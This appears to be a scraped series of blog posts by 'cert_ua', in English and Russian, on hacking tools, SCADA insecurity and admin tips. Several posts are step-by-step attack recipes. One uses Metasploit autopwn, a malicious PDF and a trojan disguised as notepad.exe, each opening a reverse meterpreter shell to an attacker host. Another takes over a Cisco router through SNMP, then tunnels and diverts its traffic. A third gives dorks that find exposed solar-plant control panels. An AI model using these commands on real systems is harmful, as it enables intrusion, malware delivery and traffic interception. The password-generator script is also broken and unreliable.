fast hack with msf
cert_ua
I'll show some commands about Metasploit usage for PC pentesting. Hacking of remote PC is not legal! ;[

Case 1: PC must be locally\directly\network-accessible, without AntiVirus and with not patched OS.

1. load Metasploit console
msfconsole
2. activate DB for better performance
db_driver sqlite3
3. find by portscan open ports, OS and services
dbmnap -sV -O -p1-65535 192.168.1.2
db_hosts
5. find matching exploits and try them on victims to see if i can break in (for unpatched\not AV-protected PC one or more will work)
db_autopwn -h
db_autopwn -PI135 -p -e -t
7. use remote blind_tcp meterpreter payload
sessions -i 1
...if all is ok - we can operate at remote PC, try
ps
kill 666

Case 2: PC over NAT
Factors of NAT are:
- attacker can not reach the victim's PC directly by IP
- victim must reach out the attacker first
- attacker needs to use a typical client-side attack scenario (e.g. browser-based exploits or a social engeneering vector of attacks like meterpreter explots, email infected PDF docs, create a malitious site which exploits browser vulns and then lure the victim to it somehow, victim's browser will be exploited, will need to use a meterpreter payload as the victim will have to initiate a connection to atacker etc.)
- SET

1. msfconsole
2. use auxiliary/server/browser_autopwn
3. show options
4. set LHOST 192.168.0.2 (atacker's IP)
5. set URIPATH /
6. set SRVPORT 80
7. run

8. from victim's PC just visit http://192.168.0.2/

9. ctrl+c in atacker PC
10. sessions -l
11. sessions -i 1
12. getuid
13. ps
14. kill 666
15. background

Case 3: OS is patched, no AV, soft on the machine is not patched

We will target a PDF. Idea is to send the victim a PDF file containing payload. This connects to attacker's PC and offers him control on the victim's PC.

1. msfconsole
2. search pdf
3. use windows/fileformat/adobe_pdf_embedded_exe
4. show options
5. ls (we must have some PDF)
6. set INFILENAME /root/somefile.pdf
7. set PAYLOAD windows/meterpreter/reverse_tcp
8. show OPTIONS
9. set LHOST 192.168.0.2
10. exploit                 -> ready exploit will be deployed somewhere here /root/data/exploits/evil.pdf
11. cp /root/data/exploits/evil.pdf /var/www/utilities/
12. use exploit/multi/handler
13. show options
14. set PAYLOAD windows/meterpreter/reverse_tcp
15. set LHOST 192.168.0.2
16. exploit

17. from the Victim's PC:
http://192.168.0.2/utilities/evil.pdf and save it to Desktop and just view
18. getuid
19. getpid
20. ps
21.ls

Case 4: Scenario-based Hacking: OS and soft are patched, no AV

Use a social engeneering and custom trojan combination.
Trojan can be created using msfpayload and msfencoded.
Idea is to have user to download malware which is sent to him. Malware also can be given to him through USB.
This can be very powerful with a MITM attack (DNS or LAN based).

1. msfconsole
2. msfpayload windows/meterpreter/reverse_tcp LHOST 192.168.0.2 X > MeterpreterReverseTCP.exe
3. ls
4. cp MeterpreterReverseTCP.exe /var/www/utilities/
5. use exploit/multi/handler
6. set PAYLOAD windows/meterpreter/reverse_tcp
7. set LHOST 192.168.0.2
8.  from Victim's PC access and save locally http://192.168.0.2/utilities/MeterpreterReverseTCP.exe (taskmgr or ctrl+alt+del for to check a process was started)
9. getuid
10. idletime
11. msfencode -h
---
12. msfencode -l
13. msfpayload windows/meterpreter/reverse_tcp LHOST 192.168.0.2 R | msfencode -e x86/shikata_ga_nai -c 4 -t exe -o NotepadTrojan.exe -x /root/hack/notepad.exe -k
14. cp NotepadTrojan.exe /var/www/utiities/
15. on a Victim's PC: access http://192.168.0.2/utilities/ and ctrl+r it, download NotepadTrojan.exe (it must look like regular notepad).
16. execute it
17. ps (we'll see a process NotepadTrojan.exe and explorer.exe).
18. migrate [explorer.exe PID]


-_-

полезные тулзы для исследования потенциально нежелательного контента
cert_ua
Часто бывает так, что Вас просят проверить некоторый контент на безопасность.
Чтобы дать ответ, есть некоторые просты техники:
1. Считаем md5sum файла и кормим её virustotal.com. Последний выдаст субьективный вердикт, основанный на "мнении" мнгоих широко известных антивирусных движков и коллективном разуме (знаниях вирусных ресёрчеров, которые не поскупились поделиться знаниями об этом файле). Клацайте по вкладкам вирустотала, там тоже много полезного можно найти. Важно не кормить вирустоталу сам файл, который Вас попросили проверить - это потенциально утечка информации, допущенная Вами лично. Если сам владелец файла (например, Ваш директор) не узнает что это именно Вы "слили его презу в Интернеты", то, например, хакер, подбросивший Вам в сеть компании новый вирус, увидев его среди того, что было скормленовирустоталу, сразу узнает что его спалили и вышлет апдейт, ато и удалит Вам половину серверов...

2. hoper - утилитка под линукс, которая, получив ссылку, пройдёт по ней и покажет конечный URL даже если таких прыжков будет несколько. Работает она просто и понятно:



Сетапить просто:

#gem install hoper

Использовать:

#hoper [url]

3. King Phisher 1.5.2 - эмулятор проведения фишинговых атак, а так же утилита для повышения уровня awareness в Компании. Ваши юзеры увидят как протекает атакая, начало которой состоит в фишинге. Тулза легка в использовании, проста и гибка в настройке и отражает ньюансы почти любой почтовой подсистемы или серверного контента. Кингфишер может быть использован как платформа для создания продвинутых и весьма изощрённых сценариев для сбора логинов\паролей юзеров. Юзать его по лицензии можно только имея разрешение владельца организации и приложений. Инсталляция - простая и описана в INSTALL,md. После установки - читайте wiki по использованию.

Список фич сейчас такой:

  • Run multiple phishing campaigns simultaneously

  • Send email with embedded images for a more legitimate appearance

  • Optional Two-Factor authentication

  • Credential harvesting from landing pages

  • SMS alerts regarding campaign status

  • Web page cloning capabilities

  • Integrated Sender Policy Framework (SPF) checks

  • Geo location of phishing visitors

  • Send email with calendar invitations

  • плагины, репозиторий которых тут

Список полезных переменных:
client.company_name The target's company name
client.email_address The target's email address
client.first_name The target's first name
client.last_name The target's last name
client.message_id The unique tracking identifier (this is the same as uid)
sender.email The email address in the "Source Email (MIME)" field
sender.friendly_alias The value of the "Friendly Alias" field
sender.reply_to The value of the "Reply To" field
url.tracking_dot URL of an image used for message tracking
url.webserver Phishing server URL with the uid parameter
url.webserver_raw Phishing server URL without any parameters
tracking_dot_image_tag The tracking image in a preformatted <img /> tag
uid The unique tracking identifier (this is the same as client.message_id)

random pass generator on bash
cert_ua
Just for fun and to have what to broot4ce))
Save it to passgen.sh file and chmod +x it. Enjoy.

#!/bin/bash
TEMPLATE="01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRTUVWXYZ+_*&^%\$\#@}{:?,./\|\"
PASS_LENGTH="30"
while [ "${counter:=1}" -le "$PASS_LENGTH" ]
do
PASSWORD="$PASSWORD{TEMPLATE:$(($RANDOM%${#TEMPLATE})):1}"
# ${#TEMPLATE} - returns a legth of array TEMPLATE
# $RANDOM%${#TEMPLATE} - returns a pseudorandom number from 1 to array_length(TEMPLATE)-1
# ${TEMPLATE:$(($RANDOM%${#TEMPLATE})):1} - returns a symbol from TEMPLATE, which is located at position found one step earlier.
let n+=1
done
echo "$PASS"
exit 0

Usage:
 ./passgen.sh2
FeFX64Kib:O{?jiQ*3h6z__wMovsV
./passgen.sh
@&@Nzjp^&7G%TLy+@nhGnPRaYcHlp3

Enjoy)

PS: there's a cli tool in Kali for this - mkpasswd
Usage is quite simple:
#mkpasswd
Password:
gu0A9RmWkhqp2

Защищённость АСУ ТП Украины: zero cybersecurity at our SCADA
cert_ua
Опишу что такое хакерство с сфере энергетики как сделал бы доктор по отношению к больному, чтобы было всем понятно.

Личность:  Кто не знает - ГЭС, ТЭС и АЭС Украины генерируют и потом на электронной бирже энергоресурсов в цифровом и полуавтоматическом виде торгуют ими, распределяя вплоть до конечного потребителя. Распределением и доставкой по регионам занимаются облэнерго и коммерческие компании, про тарифы и которых Вы можете почтитать популярно на их сайтах или посмотреть в каждых новостях из зомбоящика. Распределение осуществляется с помощью АСУ ТП (англ. SCADA) коммерческих и государственных энергогенериующих и энергораспределяющих организаций (компаний) Украины, собственно, и есть этот больной доходяга, про кибербезопасность которого речь.

Статус больного: работает (несёт свет людям Украины), чрезвычайно подвержен киберугрозам, не защищён организационно и технически и даже не представляет себе этих угроз. Защищать его некому, т.к. Украина не имеет иммунитета и противоядия.

Ближайшие вероятные события и их последствия: смерть, кома (блэкаут Украины и технологический коллапс энергоснабжения подверженных ему регионов, потеря телекомуникаций всех видов, информационный коллапс, техногенные аварии, медиавакуум). По мнению авторитетных специалистов из США весьма вероятный сценарий для Украины, будет осуществляться с помощью слоновьей дозы яда BlackEnergy и будет предшествовать военной операции. Больной будет обездвижен столько, сколько будет надо, т.к. Вам будет неоткуда зарядить свой гаджет, базовые станции операторов мобильной связи будут в нерабочем состоянии, даже доехать до генератора на даче будет сложно - пробки из-за неработающих светофоров. Ну а если Ваш родственник был на искусственном дыхании в больнице - весьма вероятно что он умрёт. Грустняшка.

Известно ли о проблеме энергобезопасности миру: да, American blackout загуглите. США
обожглись, с тех пор вопрос энергетической безопасности стоит на контроле Department of Homeland Defence. Технически это делается по протоколу Traffic Light Protocol (TLP).

В США есть несколько команд, занимающихся реагированием на инциденты, связанные с энергетической безопасностью инфраструктуры страны (GE-CIRT), (JC3-CIRC) и, конечно, ICS-CERT.

Проблематику регулярно обсуждают на хакерских слётах, список узявимостей АСУ ТП, опубликованных с 2008 года - тут. Пример красочной презентации можно найти тут, например - пруф того, что любые векторы атак на АСУ ТП возможны.

Посмотреть реальные, а не теоретические примеры, можно введя гуглдорки следующего вида:
intitle:solarlog-Client
inurl:/chipcfg

Выглядит греческая энергогенерирующая солнечная батарея примерно так:


  Дальше можно начать лазить по меню смены пользователей, паролей, настроек и т.д. Вобщем, не думаю, что хозяевам это понравится и они в курсе таких достпных из Интернета веб-фронтендов их солнечных батарей. Мощность тут генерируется такая, что хватит примерно на 30 квартир на сутки:


Удобно, правда?

У нас на Украине тоже был кейс по выводу из строя нескольких облэнерго с помощью BlackEnergy. Это был пробный вброс шайбы и он сработал. Пациент блевал столько, сколько надо. Отслеживать SCADA-неудачников, кстати, можно в онлайне и на Shodan DB, было бы желание делать это автоматически:



Вообще, оказалось, что у нас "зверь не пуган". Например, львовское Науково-виробниче підприємство «Галицька комп’ютерна компанія» приводит на своём сайте список железа, на котором работает, его фотки, распределяемые мощности и размещение по городам. Какой-то ошибкой на сайте эта организация как бы намекает о том, что у них есть соединение внешней сети с Интернетом с сетью управления АСУ ТП.



Что делать, доктор?, - спросите Вы меня.

1. Создать профильную группу реагирования на важные для критической информационной инфраструктуры Украины отрасли (далее - "пансионат Энергетиков"). Пансионат Э., должен регулярно и не формально (как сейчас согласно НД ТЗИ и документации [не имеющей ничего общего с реальностью] на КСЗИ, действующей на мозжечки секретчиков и нервы сотрудниц секретариатов) защищать аплинки в Интернет и прочие глобальные сети энергогенерирующих и энергораспределительных компаний не зависимо от форм собственности, пентестить их. Последние - безоговорочно и в кратчайшие сроки закрывать всё не секьюрное и что не положено светить в мир, а так же выполнять то, что будет рекомендоваться этой пансионатом Э.

2. Безопасник и директор "свечного заводика" - купить и заправить дизель-генератор и поискать у себя в сети задеплоеный BlackEnergy (сделайте учения - ЧП "отключили свет").

3. Критически важным для спокойствия общества отраслям иметь план действий при наступлении блэкаута (оповещение, задействование резервных источников энергии, защита базовых станций и суперзащита HLR\VLR для операторов сотовой связи, услуги центра очистки трафика с функцией выявления признаков взлома и противодействия ему). Кстати, у МНС есть реестр опасных объектов - вот и основа для создания списка мониторинга.

4. В ситуационном центре при РНБО мониторить с помощью промышленной SIEM ситуацию по критическим отраслям. Делать это должны качественно, а не для показухи.

Пентестить SCADA можно с помощью:
- Metasploit Framework [внезапно], (модули modbus_findunitid и modbusdetect, modbusclient, modicon_command, igss_exec_17, multi_cip_command, ).
- PLCScan.
- скрипта modbus-discover.nse для nmap.
- scapy-расширения под python - Modlib.
- S7comm - мега-либы, реализованной на куче языков.
- OpenDNP3 - тоже либа на С++.

На АСУ ТП нацелены правительства многих государств, для заражения критической кибер-инфрастуктуры противника пишутся дорогие вирусы и тратится колоссальный интеллектуальный потенциал. Его не видно, т.к. он прячется как кинжал под плащём до часа Ч - так было с малварями Stuxnet и BlackEnergy, а антивирусными компаниями потом называется APT.


Если Вы дочитали до этого места, надеюсь что понимание глубины и важности проблемы энергетической стабильности Украины у Вас сложилось. Я искренне надеюсь, что проблема осознана и вариант того, как с ней бороться, который вижу я и пол мира безопасников, - понятен. Пойду спать, надоело печатать.


ПС: "сапоги должен точать сапожник" - Салтыков-Щедрин.

Взломаные сайты госорганов Украины
cert_ua
Будьте бдительны при входе на эти сайты госорганов Украины, они имеют признаки дефейса:

http://kprda.gov.ua/wp-content/uploads/
http://www.archivelviv.gov.ua/fileadmin/
http://udf.gov.ua/rxr.htm
http://www.busk-rada.gov.ua/rishennya/rishennya1.php
http://kuibrda.gov.ua/b.htm

Гнетущее ощущение, когда какой-то мало релевантный контент льётся мне в мозг за мной же уплаченные налоги:


FYI

Пост про злое кибердобро или "безопасник зевнул и вООООот такой бэкдор поймал"
cert_ua


Это надо читать глазами головы:
0. Вот что поможет пошарить сэмпл\IOC правильно: АПИ от фейсбукового ThreatExchange, протоколы STIX\RID\ IODEF, язык документирования инцидентов VERIS.
1. Перманентно рутаем Android (cve-2015-1805).
2. DoS, memory corrupt, app crash PHP (cve-2016-3141).
3. Indicator of compromise advanced sharing (MISP+PasssiveTotal) .
4. Учимся ломать SAP ERP черношляпно.
5. Браузим cve по вендору ибо это похоже на КСЗИзм.
6. Twitter акаунт (борда) CSIRT ов.
7. Киберновости от британских учёных.
8. AntiDDoS'истость Вашего энтерпрайза.

ПС: Мишка, тут грамматика, но запил засчитан, заделись сэмплом))

Запрос к ораклу из Linux и вывод результатов в Excel
cert_ua
Мне было нужно выбирать некоторые данные из таблицы СУБД Оракл версии >10 (я знал ИП сервера, логин и пароль, структуру полей таблички) в виде удобочитаемых отчётов на еженедельной основе.
Для получения данных я использовал Linux, на который поставил Клиент Оракла.
Выбранные из БД результаты я сохранял в текстовый файл, немного препарсил, форматировал для удобного импорта в Эксель.
Экселевский файл (готовый отчёт) я регулярно выкладывал в нужное место для последующего забирания конечными получателями готовых отчётов.
Расскажу как я все это делал
0. Я буду ставить клиент Оракла на 64-битную архитектуру. Архитектуру можно выяснить например так:

# uname -a
Linux blackhole 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010 x86_64 x86_64 x86_64 GNU/Linux

Это важно для того какие файлы пакетов клиента качать - х86 или х64.

1. Зарегался на сайте оракла (это надо чтоб качать дистрибутивы клиента СУБД оракл). Это бесплатно и быстро, а так же даёт возможность качать их софт.

2. Залогинившись в кабинет, ищем пакеты следующих названий (версии могут отличаться, ссылка работает если залогиниться):



Разархивируем их в папку /opt/oracle/instantclient_12_1.

3. У меня надо было указать Линуксу где находится одна либа:

ln /opt/oracle/instantclient_12_1/libclntsh.so.12.1 libclntsh.so

4. Можно пользоваться клиентом, имея логин\пассворд\листенер которые сконфигурированы администратором СУБД Оракл:

Пример 1: прямой передачи клиенту всех нужных ему данных для авторизации и выполнения запроса с выводом на экран показан ниже:

/opt/oracle/instantclient_12_1/sqlplus login/pass@//192.168.1.7:1521/oralistener <<< "select * from dbname.dbtable where field_name is not null and field_id in (108, 18, 130, 208, 10108, 10184, 10253);"

или вот еще пример с привязкой ко времени и выводом результата в файл:

/opt/oracle/instantclient_12_1/sqlplus login/pass@//192.168.1.7:1521/oralistener <<< "select ObjectName from dbname.tablename where id is not null and id in (108, 18, 130, 208, 10108, 10184, 10253) and VIEW_DATE >= systimestamp -interval '3' day;" | cat > /tmp/fetched-data.txt

Пример 2: скрипта, который получает данные в виде текстового отчёта:



Вместо (108, 118 ...) можно поставить $id и скрипту передавать параметром номера.

Пример 3: этот же скрипт с парсингом и форматированием выводимых результатов:



Больше почитать о возможных параметрах которые можно передать клиенту Оракла для поддержки кириллицы можно тут.

Пример 4: Скрипт на Perl который отчёт по примеру №3 из текстового файла преобразует в файл Excel и кладет в папочку, форматируя так чтоб красиво віглядело и читалось:



Использовал Spreadsheet::WriteExcel. Там много примеров использования перл для работі с Ораклом и парсинга с последующим преобразованием в Эксель.

Example of an attack on Cisco router
cert_ua
BT or Kali Linux was used again:

0. Become anonymous and better not to do next steps.
1. Get local ip addressation and so from bad tuned routers
/pentest/enumeration/snmpenum/snmpcheck-1.x.pl -t ip-of-a-route -c public

/pentest/enumeration/snmpenum/snmpcheck-1.x.pl -t ip-of-a-route -c private

2. setup local tftp demon

atftpd --daemon --port 69 /tmp

3. check if it's ok:

netstat -anup | grep 69

4. create a file for to store victims router config locally:

touch /tmp/pwnd-router.conf
chmod 777 /tmp/pwnd-router.conf

5. use scapy for sending a Packet to router:

scapy

packet = IP(dst="192.168.99.100")/UDP(sport=161)/SNMP(community="private",PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.2.1.55.192.168.98.20"),value="pwnd-router.conf")]))

where is 192.168.99.100 - victims router pub ip

6. launch wireshark for broadcast sniffing

7. in scapy's interface make command for Packet sending

send(packet)

...we must see it in our wireshark's interface

8. in scapy' interface we manipulate with scr\dst ip addresses so lets spoof src ip (on that IP which was stealed at stage #1):

packet = IP(src="10.200.0.2",dst="192.168.99.100")/UDP(sport=161)/SNMP(community="private",PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.2.1.55.192.168.98.20"),value="pwnd-router.conf")]))

and send this packet again:

send(packet)

...we must see it in our wireshark's interface MORE packets than our sent 1 packet. If it's so - we successfully hacked router.

9. See config of that router:

cat /tmp/pwnd-router.conf

This is full config and we actually fully control him.

10. Lets make some changes in locally stored routers config and then upload him back.
Add a GRE tunnel between router and attackers PC to this config:

nano /tmp/pwnd-router.conf

....and before strings  with "interface FastEthernet0/0
 ip address blah blah
 ip nat outside
 duplex auto"

...add these lines:

interface Tunnel0
 ip address 172.16.0.1 255.255.255.0
 tunnel source FastEthernet0/0
 tunnel destination 192.168.98.20


where 192.168.98.20 - our attacking PC

11. send our new slightly different packet to victim again from scapy with spoofed source ip addr 10.200.0.202:

q = IP (src="10.200.0.202,dst="192.168.99.191")/UPD(sport=161)/SNMP(community="private",PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.2.1.53.192.168.98.20"),value="pwnd-router.conf")]))

Then send this packet

send(q)

...and see what changes in wireshark. We upload and merge our config to running-config of that Cisco router in this manner.

12. Telnet to this router for check if all is ok:

telnet 192.168.99.191

en

sh run

...find Tunnel0 interface at that config.

13. Start GRE module at attackers PC:

modprobe ip_gre

14. Continue by introdusing new GRE-interface:

iptunnel add mynet mode gre 192.1168.99.191 local 192.168.98.20 ttl 255

15. I'll configure an IP address to this interface and a static route and bring him up:

ip addr add 172.16.0.3/24 dev mynet
route add -net 172.16.0.0 netmask 255.255.255.0 dev mynet
ifconfig mynet up

16. Now we should be able to ping remote router ip (see pinged IP at  section's #10 end):

ping 172.16.0.1

17. Now we maybe want to sniff all traffic from INSIDE interface of a router from attackers PC with wireshark. We need to add next lines to router and upload that config back again:

after line:

ip route 0.0.0.0 0.0.0.0 192.168.99.1

insert:

route-map divert
 map ip address 102
 set ip next-hop 172.16.0.3


So this route-map will applied before default route. We need to apply our route-map to inside interfaces config by adding next string:

interface FastEthernet1/0
 ip address 10.200.0.201 255.255.255.0
 ip nat inside
ip policy route-map divert
 duplex auto
 speed auto

resend a packet from scapy again:

send(q)

18. Use telnet to check if changes are taken place:

telnet 192.168.99.191

en

sh run

19. But we can make DoS attack because our PC can not recieve all traffic from that router. So tune up attackers ip policy:

echo 1 > /proc/sys/net/ipv4/ip_forward

20. And add a route to the internal victims network:

route add -net 10.200.0.0. netmask 255.255.255.0 gw 172.16.0.1

21. Now perforn NAT on this traffic to act as the router for the victim network. For this we use simple iptables rules:

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface mynet -j ACCEPT

Now all traffic must be routed from attackers outside PC to local net of victims router and back. Traceroute it.

Cyber Security Assessment Netherlands 2015: cross-border cyber security approach necessary
cert_ua
subj

Почему я не пользуюсь скайпом
cert_ua
потому что можно узнать время входа/выхода, прихода/ухода на работу, ИПы всех устройств и провайдеров, через которые я выхожу и т.д.

О том как это работает, написано тут.

...интересно, что для совсем свежих и очень старых учёток это не всегда пашет.

Пробить историю ИПа и доменов с ним связанных можно тут или CIRCL MISP так (суррогатые Passive DNS).
Узнать по клиенту.

?

Log in